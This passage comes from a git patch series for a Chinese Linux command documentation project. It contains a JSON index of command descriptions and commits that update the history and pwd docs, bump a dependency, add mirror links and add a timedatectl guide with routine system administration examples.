arted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From 4768ac0cedcbb8f879acec7c95bb59de22eac7ce Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Sun, 3 Apr 2022 23:58:45 +0800 Subject: [PATCH 0443/1019] chore(deps): update dependency stylus to ~0.57.0 (#346) --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 04291c4b1d0..fc9f2450d56 100644 --- a/package.json +++ b/package.json @@ -34,7 +34,7 @@ "markdown-to-html-cli": "~3.4.1", "sitemap-generator": "~8.5.1", "sqlite3": "~5.0.2", - "stylus": "~0.56.0", + "stylus": "~0.57.0", "uglify-js": "~3.15.2" }, "engines": { From 235e2764ed6458f0e1528db306fa8256e7195ab0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Wed, 6 Apr 2022 10:06:16 +0800 Subject: [PATCH 0444/1019] Update history.md --- command/history.md | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/command/history.md b/command/history.md index b156378159c..2a38ab9c255 100644 --- a/command/history.md +++ b/command/history.md @@ -42,15 +42,10 @@ filename：可选，表示历史文件；默认调用顺序为`filename`、环 ## 例子 -使用history命令显示最近使用的10条历史命令 +使用history命令显示最近使用的 5 条历史命令 ```shell -[root@localhost ~]# history 10 - 92 ls - 93 cd .. - 94 ls - 95 exit - 96 ls -a +[root@localhost ~]# history 5 97 cd .ssh/ 98 ls 99 cat known_hosts @@ -64,7 +59,14 @@ filename：可选，表示历史文件；默认调用顺序为`filename`、环 [root@localhost ~]# history -c ``` -更多实例: +删除制定的行 + +```shell +[root@localhost ~]# history -d <指定行号> +[root@localhost ~]# history -d 2243 +``` + +快捷执行一条历史命令 ```shell # 执行第 n 条历史命令 From 784c8805d7283496498cf5c3b080364eaee814b4 Mon Sep 17 00:00:00 2001 From: aluopy <69625113+aluopy@users.noreply.github.com> Date: Thu, 7 Apr 2022 15:26:15 +0800 Subject: [PATCH 0445/1019] doc: Update README.md (#350) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ce6891c130f..cb23b30b077 100644 --- a/README.md +++ b/README.md @@ -34,7 +34,7 @@ ⚠️ 你们拿过去部署的静态网站，还是希望挂个 GitHub 地址，这样大家共同维护命令文档，让文档更加完善，更加丰富，当然你删除本站所有信息相关信息，其实我也不太在意，默认允许你们随意搞，我不负任何负责。如果您也部署了一份，可以将网址放到下面 :)。 -[`linux.devonline.net`](http://linux.devonline.net/)，[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`bqrdh.com`](https://tools.bqrdh.com/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`linux.mmoke.com`](https://linux.mmoke.com) +[`linux.devonline.net`](http://linux.devonline.net/)，[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`bqrdh.com`](https://tools.bqrdh.com/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`linux.mmoke.com`](https://linux.mmoke.com), [`luojianjun.cn`](https://luojianjun.cn/linux-command/) ### 微信小程序版本 From 2498326d55fc9cb666cc027dd897cdf8bd62dde7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Fri, 8 Apr 2022 00:32:20 +0800 Subject: [PATCH 0446/1019] Update pwd.md --- command/pwd.md | 37 +++++++++++++++++++++++++++---------- 1 file changed, 27 insertions(+), 10 deletions(-) diff --git a/command/pwd.md b/command/pwd.md index 8c72bd72995..47c0cae8b19 100644 --- a/command/pwd.md +++ b/command/pwd.md @@ -1,12 +1,7 @@ pwd === -显示当前工作目录的绝对路径。 - -## 目录 - -- [bash内建命令](#内建命令) -- [GNU coreutils中的命令](#外部命令) +显示当前工作目录的绝对路径。执行 pwd 指令可立刻得知您目前所在的工作目录的绝对路径名称。 ## 内建命令 @@ -16,10 +11,6 @@ pwd pwd [-LP] ``` -#### 主要用途 - -- 显示当前工作目录。 - #### 选项 ```shell @@ -69,4 +60,30 @@ pwd [OPTION]... 3. 在不禁用内建且当前环境没有定义`pwd`函数的情况下，使用`/usr/bin/pwd`指向`coreutils`的`pwd`，使用`pwd`指向bash内建的`pwd`。 +## 例子 + +查看当前所在路径 + +```shell +[root@localhost var]# pwd +/var +``` + +```shell +[root@localhost ~]# cd /var/ #进入/var目录，该目录下有个mail连接文件，方便对比查看 +[root@localhost var]# ll +total 164 +... +lrwxrwxrwx 1 root root 10 Oct 17 2015 mail -> spool/mail + +[root@localhost var]# cd mail/ # 进入 mail 目录，mail 为连接文件。 +[root@localhost mail]# pwd # 默认，使用连接文件，直接显示连接文件全路径。 +/var/mail +``` + +不使用逻辑路径，连接文件最终指向的文件 +```shell +[root@localhost mail]# pwd -P +/var/spool/mail +``` From 60ca5f3d1680086432d1e570e9e5e8fdaf16fcb8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Fri, 8 Apr 2022 00:35:19 +0800 Subject: [PATCH 0447/1019] Update pwd.md --- command/pwd.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/command/pwd.md b/command/pwd.md index 47c0cae8b19..1d7ec0bec68 100644 --- a/command/pwd.md +++ b/command/pwd.md @@ -69,9 +69,11 @@ pwd [OPTION]... /var ``` +显示软连接文件最终指向的文件路径 + ```shell -[root@localhost ~]# cd /var/ #进入/var目录，该目录下有个mail连接文件，方便对比查看 -[root@localhost var]# ll +[root@localhost ~]# cd /var/ # 进入/var目录，该目录下有个 mail 软连接文件 +[root@localhost var]# ls -al total 164 ... lrwxrwxrwx 1 root root 10 Oct 17 2015 mail -> spool/mail @@ -81,7 +83,7 @@ lrwxrwxrwx 1 root root 10 Oct 17 2015 mail -> spool/mail /var/mail ``` -不使用逻辑路径，连接文件最终指向的文件 +使用 `-P` 参数，显示的不是逻辑路径，而是连接(软连接)文件最终指向的文件 ```shell [root@localhost mail]# pwd -P From 8a58022c9bc0068726149911b5503d27d291e248 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Fri, 8 Apr 2022 17:18:01 +0800 Subject: [PATCH 0448/1019] Create timedatectl.md --- command/timedatectl.md | 141 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 141 insertions(+) create mode 100644 command/timedatectl.md diff --git a/command/timedatectl.md b/command/timedatectl.md new file mode 100644 index 00000000000..95fe0153e1b --- /dev/null +++ b/command/timedatectl.md @@ -0,0 +1,141 @@ +timedatectl +=== + +用于在 Linux 中设置或查询系统时间、日期和时区等配置。 + +## 概要 + +```shell +timedatectl [OPTIONS...] COMMAND ... +``` + +## 主要用途 + +- 转换时间到选定的格式，默认为当前。 +- 设置系统时间。 + +## 参数 + +```shell +Query or change system time and date settings. + + -h --help 显示帮助信息。 + --version 显示软件包版本。 + --no-pager 不用将输出通过管道传输到寻呼机（pager）。 + --no-ask-password 不提示输入密码。 + -H --host=[USER@]HOST 在远程主机上操作 + -M --machine=CONTAINER 在本地容器上操作。 + --adjust-system-clock 更改本地 RTC 模式时调整系统时钟。 + +Commands: + status 显示当前的时间设置。 + set-time TIME 设置系统时间。 + set-timezone ZONE 设置系统时区。 + list-timezones 显示已知时区。 + set-local-rtc BOOL 控制 RTC 是否在当地时间。（BOOL 的值可以是 1 / true 或 0 / false） + set-ntp BOOL 启用或禁用网络时间同步。（BOOL 的值可以是 1 / true 或 0 / false） + timesync-status 显示 systemd-timesyncd 的状态。 + show-timesync 显示 systemd-timesyncd 的属性。 +``` + +## 例子 + +显示系统当前时间和日期 + +```shell +$ timedatectl status + Local time: 五 2022-04-08 17:06:40 CST + Universal time: 五 2022-04-08 09:06:40 UTC + RTC time: 五 2022-04-08 17:04:02 + Time zone: Asia/Shanghai (CST, +0800) + NTP enabled: n/a +NTP synchronized: no + RTC in local TZ: yes + DST active: n/a +``` + +显示系统所有可用的时区 + +```shell +$ timedatectl show +Unknown operation show +$ timedatectl list-timezones +Africa/Abidjan +Africa/Accra +Africa/Addis_Ababa +``` + +将本地时区从上海（Asia/Shanghai）设置为阿姆斯特丹（Europe/Amsterdam） + +```shell +$ timedatectl set-timezone "Europe/Amsterdam" +``` + +将本地时区设置为协调世界时（UTC） + +```shell +$ timedatectl set-timezone UTC +``` + +设置系统时间（格式：HH:MM:SS） + +```shell +$ timedatectl set-time "07:25:46" +``` + +设置系统日期（格式：YYYY-MM-DD） + +```shell +$ timedatectl set-time "2021-12-12" +``` + +如果只设置日期，那么时间将默认设置为 “00:00:00″（建议同时设置日期和时间） + +```shell +$ timedatectl set-time "2021-12-12 07:25:46" +``` + +将硬件时钟（RTC）设置为本地时区（不建议，RTC 时钟统一使用 UTC 更恰当，避免在时区更改和夏令时调整方面产生各种问题） + +```shell +$ timedatectl set-local-rtc 1 +``` + +将硬件时钟（RTC）设置为协调世界时间（UTC） + +```shell +$ timedatectl set-local-rtc 0 +``` + +启用 NTP 自动时间同步 + +```shell +$ timedatectl set-ntp true +``` + +禁用 NTP 自动时间同步 + +```shell +$ timedatectl set-ntp false +``` + +查看 systemd-timesyncd 服务的状态 + +```shell +$ timedatectl 